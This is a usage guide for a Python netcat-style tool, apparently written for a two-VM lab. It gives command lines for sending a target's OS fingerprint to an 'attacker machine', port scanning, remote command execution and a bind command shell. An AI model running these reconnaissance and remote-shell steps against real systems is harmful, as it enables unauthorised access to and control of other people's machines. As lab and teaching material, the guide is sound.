

## NetCat Tool Documentation

This documentation provides instructions on how to use the various capabilities of the NetCat tool. This tool supports sending OS fingerprints, port scanning, executing commands, and setting up command shells.

### Basic Usage

To run the NetCat tool, use the following command:

```
$ python netcat.py [OPTIONS]
```

### Options

- **-c, --command:** Initialize a command shell.
- **-e, --execute:** Execute a specified command.
- **-l, --listen:** Listen on a specified IP and port.
- **-p, --port:** Specify a port (default is 5555).
- **-t, --target:** Specify a target IP (default is 10.0.2.15).
- **-f, --fingerprint:** Send the OS fingerprint to the target and exit.
- **-s, --scan:** Scan specified ports or ranges (comma-separated).

### Examples:

The following examples use 192.168.5.128 (vm1) as the Target machine, and 192.168.5.129 as the malicious attacker machine.

#### 1. Send OS Fingerprint to Target

**Description:** Send the OS fingerprint from the current machine to a specified target machine.

#### Steps:

- **Start the listener on the attacker machine(VM2):**

```
$ python netcat.py -t 192.168.5.128 -p 6000 -l
```

- **Send the fingerprint from the target machine (VM1) to the attacker machine (VM2):**

```
$ python netcat.py -t 192.168.5.129 -p 6000 -f
```

#### Output on User Machine:

Listening...

Received fingerprint:

system: Linux node: vm2

release: 5.4.0-74-generic version: #83-Ubuntu SMP Wed Jun 2 23:21:25 UTC 2021

machine: x86\_64 processor: x86\_64

## 2. Scan Specific Ports

**Description:** Scan specified ports or ranges on a target machine.

**Steps:** FROM 192.168.5.129 (attacker machine) machine, type the following commands:

- **Scan a list of specific ports:**

```
$ python netcat.py -t 192.168.5.128 -s 22,80,443
```

- **Scan a range of ports:**

```
$ python netcat.py -t 192.168.5.128 -s 20-25,80
```

**Output:**

```
Scanning ports [22, 80, 443] on 192.168.5.128
Port 22: Open
Port 80: Open
Port 443: Open
Time taken: X.XXXX seconds
```

## 3. Execute Command on Target

**Description:** Execute a specified command on a target machine.

**Steps:**

- **Start the listener on the target machine(VM1) :**

```
$ python netcat.py -t 192.168.5.128 -p 6000 -l -e "ls"
```

- **Send a request from the attacker machine to the target to execute the command:**

```
$ echo 'Execute command' | python netcat.py -t 192.168.5.128 -p 6000
```

**Output on User Machine:**

```
Listening... bin boot dev etc home ...
```

## 4. Command Shell

**Description:** Initialize a command shell on the target machine.

**Steps:**

- **Start the listener on the target machine (VM1):**

```
python netcat.py -t 192.168.5.128 -p 6000 -l -c
```

- **Connect to the command shell from VM2 (attacker machine):**

```
$ python netcat.py -t 192.168.5.128 -p 6000
```

**Interactive Shell on VM2(attacker):**

\$ type command to execute.

### **Notes**

- Ensure the port number used in the commands is open and not blocked by any firewall or security group.
- The listener must be running before the sender attempts to connect.
- Command shells can be dangerous; use with caution and in secure environments only.
- Always test in a controlled environment to understand the tool's behavior.

This documentation should cover the basic usage and examples of how to use the NetCat tool for various purposes.